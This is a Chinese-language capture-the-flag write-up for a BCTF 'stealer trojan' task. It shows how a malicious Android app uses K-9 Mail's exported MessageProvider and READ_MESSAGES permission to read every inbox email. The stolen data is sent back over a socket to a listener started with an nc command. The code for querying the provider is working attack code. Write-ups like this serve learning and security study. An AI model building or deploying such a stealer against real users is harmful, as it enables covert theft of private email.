引用至BCTF的题目 http://bctf.cn/problems/16
这题感觉更像是漏洞挖掘然后EXP,觉得题目挺有意思的,拿来和大家分享,比赛平台再次开放大家可以去玩玩题目描述:
窃密木马: 300
描述
米特尼克得知追捕他的FBI探员凯瑟琳曾用过k9mail发邮件讨论一个对他的联合抓捕方案,他必须得知这个方案才能逃出生天。从对FBI的渗透获得的情报里,米特尼克了解到凯瑟琳和其他探员经常在一个在线应用市场上下载应用安装。米特尼克找到了市场的上传入口,该如何搞定? 市场上传入口:http://218.2.197.252:5000 已知: 凯瑟琳很信任这个市场;凯瑟琳只会打开每个应用很短时间。
提示
hint1:凯瑟琳使用的手机系统版本并不新,无法兼容新版应用。 hint2:read the k9mail docs hint3:no naive coding, no rooted environment
第一次做这样的移动平台题目,刚开始一直没有思路,只是感觉要写些木马窃取k9mail的数据,懒得动手就随便在网络上搜k9mail的木马,无果后考虑要不先随意上传吧。结果市场上传入口提示必须先通过av检测,想想不科学这是想证明百度杀毒很强吗?(玩笑话)。后来觉得它只是防止我们乱上传一些七七八八的木马影响它测试吧。于是这时候在决定要静下心来写代码。题目和提示很清楚了,就是要窃取凯瑟琳k9mail邮件内容,但是不能root。那所谓的直接查看SQLite就不行了,那还有什么办法查看其它进程的数据?
contentprovider!hint2:read the k9mail docs 应该就是这个意思吧,毕竟是开源的可以查看是否有暴露组件,找到k9mail AndroidManifest.xml
<provider
android:name=".provider.AttachmentProvider"
android:authorities="com.fsck.k9.attachmentprovider"
android:multiprocess="true"
android:grantUriPermissions="true"
android:readPermission="com.fsck.k9.permission.READ_ATTACHMENT"
android:exported="true"
/>
<provider
android:name=".provider.MessageProvider"
android:authorities="com.fsck.k9.messageprovider"
android:multiprocess="true"
android:grantUriPermissions="true"
android:readPermission="com.fsck.k9.permission.READ_MESSAGES"
android:writePermission="com.fsck.k9.permission.DELETE_MESSAGES"
android:exported="true"
/>
通过android:authorities="com.fsck.k9.messageprovider"字段
可以得出 uri的前缀为content://com.fsck.k9.messageprovider/……,之前直接用这个uri发现无法解析,没有经验,想必需要分析源码吧。
经过这个配置文件的分析,可以确定我们不用root是可以读取k9mail的信息的,但是要申请对应权限,找到对应的uri以及数据库属性col.
通过android:name=".provider.MessageProvider"字段
可以得出这个Provider有关于分享数据的一些信息,进入该类 com.fsck.k9.provider.MessageProvider
一些定义的常量,表的属性吧
public static interface MessageColumns extends BaseColumns {
/**
* The number of milliseconds since Jan. 1, 1970, midnight GMT.
*
* <P>Type: INTEGER (long)</P>
*/
String SEND_DATE = "date";
/**
* <P>Type: TEXT</P>
*/
String SENDER = "sender";
/**
* <P>Type: TEXT</P>
*/
String SENDER_ADDRESS = "senderAddress";
/**
* <P>Type: TEXT</P>
*/
String SUBJECT = "subject";
/**
* <P>Type: TEXT</P>
*/
String PREVIEW = "preview";
/**
* <P>Type: BOOLEAN</P>
*/
String UNREAD = "unread";
/**
* <P>Type: TEXT</P>
*/
String ACCOUNT = "account";
/**
* <P>Type: INTEGER</P>
*/
String ACCOUNT_NUMBER = "accountNumber";
/**
* <P>Type: BOOLEAN</P>
*/
String HAS_ATTACHMENTS = "hasAttachments";
/**
* <P>Type: BOOLEAN</P>
*/
String HAS_STAR = "hasStar";
/**
* <P>Type: INTEGER</P>
*/
String ACCOUNT_COLOR = "accountColor";
String URI = "uri";
String DELETE_URI = "delUri";
/**
* @deprecated the field value is misnamed/misleading - present for compatibility purpose only. To be removed.
*/
@Deprecated
String INCREMENT = "id";
}
/**
* Retrieve messages from the integrated inbox.
*/
protected class MessagesQueryHandler implements QueryHandler {
@Override
public String getPath() {
return "inbox_messages/";
}
@Override
public Cursor query(final Uri uri, final String[] projection, final String selection,
final String[] selectionArgs, final String sortOrder) throws Exception {
return getMessages(projection);
}
记得还要申请权限
<uses-permission android:name="com.fsck.k9.permission.READ_MESSAGES"></uses-permission>
ContentResolver cr = getContentResolver();
Uri uri = Uri.parse("content://com.fsck.k9.messageprovider/inbox_messages/");
Cursor c = cr.query(uri, null, null, null, null);
if (c.moveToFirst()) {
for (int i = 0; i < c.getCount(); i++) {
c.moveToPosition(i);
String col1 = c.getString(1);
String col2 = c.getString(2);
……
Log.i("TEST",……);
}
}else{
……
}
老步骤了利用代码比较简单,但是还没完,我们还得考虑吧数据回传,于是在写了个socket用来吧log到的数据传回到我们本机的监控端口吧,socket就老生常谈了。这时候相当于这才是木马了,对了要提醒,这个反弹IP要用公网地址,不然数据信息传不回来。
最后 nc -l -p xxxx
上传应用后,答题平台会运行大概20秒你的应用,这时候我们监听xxxx口就好了,当然你吧应用做成服务端,nc connect之
这时候传回来的数据就是答题平台上那个手机k9mail的所有邮件信息了,里面就有答案,这算是我第一次做android漏洞挖掘利用
大家有对如何挖掘contentprovider uri有经验的希望指导指导,我之前试了几个都是无法解析,有想法的麻烦大神留个评论指导一下呗